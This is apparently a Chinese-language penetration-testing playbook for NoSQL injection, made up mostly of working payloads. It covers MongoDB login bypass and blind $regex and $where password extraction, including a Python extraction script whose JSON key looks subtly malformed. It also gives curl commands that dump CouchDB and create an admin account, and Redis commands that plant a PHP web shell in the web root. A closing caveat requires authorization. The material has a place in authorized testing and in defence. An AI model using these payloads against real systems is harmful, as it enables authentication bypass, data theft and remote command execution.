当目标使用 MongoDB 等 NoSQL 查询对象…

适用于 API、表单、搜索过滤器等可能把用户输入拼入 NoSQL 查询的场景，用以发现和利用操作符注入、认证绕过与盲数据提取。

适用场景

解决思路

1. 核心操作：不要尝试闭合字符串；把输入值替换为 NoSQL 查询操作符对象来改变查询逻辑。例如 MongoDB 正常查询 `db.users.find({username: "alice", password: "secret"})`，注入 `{"username": "admin", "password": {"$gt": ""}}` 后变为 `find({username:"admin", password:{$gt:""}})`，使条件恒真。
2. MongoDB 登录绕过——JSON body：对 `Content-Type: application/json` 的 API 发送以下载荷：`{"username": "admin", "password": {"$ne": "invalid"}}`、`{"username": "admin", "password": {"$gt": ""}}`、`{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}`、`{"username": "admin", "password": {"$regex": ".*"}}`。
3. MongoDB 登录绕过——PHP `$_POST` 数组注入：对 URL-encoded 表单发送 `username=admin&password[$ne]=invalid`、`username=admin&password[$gt]=`、`username[$ne]=invalid&password[$ne]=invalid`、`username=admin&password[$regex]=.*`。
4. MongoDB 登录绕过——Ruby/Python `params` 数组注入：与 PHP 相同，用方括号表示法注入对象：`?username[%24ne]=invalid&password[%24ne]=invalid`；`%24` 是 URL 编码的 `$`。
5. 可注入的 MongoDB 操作符：使用 `$ne` 使条件不等（如 `{"password": {"$ne": "x"}}` 恒匹配）、`$gt` 大于（如 `{"password": {"$gt": ""}}` 匹配所有非空密码）、`$gte` 大于等于、`$lt` 小于（如 `{"password": {"$lt": "~"}}` 匹配所有 ASCII）、`$regex` 正则匹配（如 `{"username": {"$regex": "adm.*"}}`）、`$where` JS 表达式（最危险，代码执行）、`$exists` 字段存在（如 `{"admin": {"$exists": true}}`）、`$in` 数组包含（如 `{"username": {"$in": ["admin","user"]}}`）。
6. 用 `$regex` 盲提取数据：像 SQLi 二分搜索一样，逐字符判断字段值。发送 `{"username": "admin", "password": {"$regex": "^a"}}`、`{"username": "admin", "password": {"$regex": "^b"}}`，再逐步扩展 `{"username": "admin", "password": {"$regex": "^ab"}}`、`{"username": "admin", "password": {"$regex": "^ac"}}`。把登录成功/失败差异当作布尔 oracle；用 NoSQLMap 或自定义脚本对字符集做二分搜索自动化。
7. MongoDB `$where` 注入（JS 执行）：`$where` 在 MongoDB 上下文中执行 JavaScript，只能使用当前文档字段，不能系统访问，但可滥用逻辑。发送 `{"$where": "this.username == 'admin' && this.password.length > 0"}`；盲提取计时 payload：`{"$where": "if(this.username=='admin'){sleep(5000);return true;}else{return false;}"}`；JS 正则：`{"$where": "this.username.match(/^adm/) && true"}`。限制：`$where` 不提供 OS 命令执行，属于服务端 JS 注入，不要与命令注入混淆。
8. 聚合管道注入：当用户可控数据进入 `$match` 或 `$group` 阶段时，例如 `db.collection.aggregate([{$match: {category: userInput}}, ...])`，把输入作为对象注入操作符绕过过滤：`{"$ne": null}` 匹配所有 category，`{"$regex": ".*"}` 匹配所有。
9. HTTP 参数污染用于 NoSQL：某些框架（Express.js、PHP）会把重复参数解析成数组，如 `?filter=value1&filter=value2` → `filter = ["value1", "value2"]`；在 Node.js 中利用 `qs` 库解析行为：`?filter[$ne]=invalid` → `filter = {$ne: "invalid"}` → NoSQL 操作符注入。
10. CouchDB 攻击——HTTP Admin API（若暴露）：运行 `curl http://target.com:5984/_all_dbs` 列出数据库；运行 `curl http://target.com:5984/DATABASE_NAME/_all_docs?include_docs=true` 读取 DB 内所有文档；若允许匿名访问，运行 `curl -X PUT http://target.com:5984/_config/admins/attacker -d '"password"'` 创建管理员账号。
11. Redis 注入：若 Redis 暴露在 6379 且无认证，通过 SSRF 或直接注入把命令混入 Redis 查询：`SET key "<?php system($_GET['cmd']); ?>"`、`CONFIG SET dir /var/www/html`、`CONFIG SET dbfilename shell.php`、`BGSAVE`。旧版 Redis 使用简单密码时尝试认证绕过：`AUTH password`、`AUTH 123456`、`AUTH redis`、`AUTH admin`。
12. 检测载荷：向任何可能由 NoSQL 后端处理的输入发送：`true, $where: '1 == 1'`、`, $where: '1 == 1'`、`$where: '1 == 1'`、`', $where: '1 == 1`、`1, $where: '1 == 1'`、`{ $ne: 1 }`、`', sleep(1000)`、`1' ; sleep(1000)`、`{"$gt": ""}`、`{"$ne": "invalid"}`、`[$ne]=invalid`、`[$gt]=`。若端点原本是表单，改 `Content-Type: application/json` 测试 JSON 变体：`{"username": "admin", "password": {"$ne": ""}}`。
13. NoSQL 与 SQL 的差异可用于选择测试方法：NoSQLi 使用查询操作符对象，注入向量是对象/操作符注入，常见信号是 `{$ne:x}` 改变响应，提取用 `$regex` 字符 oracle，认证绕过用 `{"password":{"$ne":""}}`，OS 命令很少见（需要 `$where` + CVE），指纹看 “cannot use $” 等错误；SQLi 则用 SQL 语法、字符串拼接、引号破坏、UNION/报错提取、`' OR 1=1--`、xp_cmdshell、DB 特定报错。
14. 测试清单：测试登录字段用 `{"$ne": "invalid"}` JSON body；测试 URL-encoded 表单 `password[$ne]=invalid`；用 `$regex` 盲枚举字段值；用 `$where` + `sleep()` 做时间盲注；检查 5984 端口 CouchDB 是否未授权管理员；检查 6379 端口 Redis 是否未授权；对表单端点尝试 `Content-Type: application/json`；监控操作符相关错误信息（`BSON`、`operator`、`$not allowed`）。
15. 自动化盲提取——Python `$regex` 逐字符提取模板： ```python import requests import string url = "http://target/login" charset = string.ascii_lowercase + string.digits + string.punctuation password = "" while True: found = False for c in charset: payload = { "username": "admin", "password[$regex]": f"^{password}{c}.*" } r = requests.post(url, json=payload) if "success" in r.text or r.status_code == 302: password += c found = True print(f"Found: {password}") break if not found: break print(f"Final password: {password}") ```
16. 自动化盲提取——URL-encoded GET 参数：发送 `username=admin&password[$regex]=^a.*`、`username=admin&password[$regex]=^ab.*`，遍历字符集直到登录成功。
17. 重复键绕过：当应用检查一个键但处理另一个键时，发送 `{"id": "10", "id": "100"}`；JSON 解析器通常使用最后一次出现，可让 WAF 校验 `id=10` 而应用处理 `id=100`。
18. 聚合管道注入（扩展）：当用户输入进入 MongoDB 聚合管道阶段，如 `db.collection.aggregate([{ $match: { user: INPUT } }])`，提供对象代替字符串，`INPUT = {"$gt": ""}` 匹配所有文档。若 `$lookup` 阶段可注入，用 `{ $lookup: { from: "admin_users", localField: "user_id", foreignField: "_id", as: "leaked" }}` 跨集合读取数据；用 `{ $out: "public_collection" }` 把结果写入新集合。
19. `$where` JavaScript 执行（扩展）：`db.users.find({ $where: "this.username == 'admin'" })`；若输入到达 `$where`，注入 `' || 1==1 || '`、`'; return true; var x='`、时间盲 `'; sleep(5000); var x='`、数据外带 `'; if(this.password[0]=='a'){sleep(5000)}; var x='`。参考 Soroush Dalili “MongoDB NoSQL Injection with Aggregation Pipelines” (2024)。注意：`$where` 在服务端运行 JavaScript；除逻辑滥用和计时 oracle 外，旧版 MongoDB 若 V8 沙箱不严格，历史上存在 RCE 风险；任何 `$where` sink 都应视为高风险。

适用边界 · 注意事项

• 目标不使用 NoSQL/JSON 查询对象、后端已严格类型校验或参数化查询时，不适用。
• 目标只使用传统 SQL 数据库时，应使用 SQLi 方法，不要套用 NoSQLi。
• 未获得明确授权时不要执行；CouchDB/Redis 的写操作和创建管理员等高影响操作尤其不适用。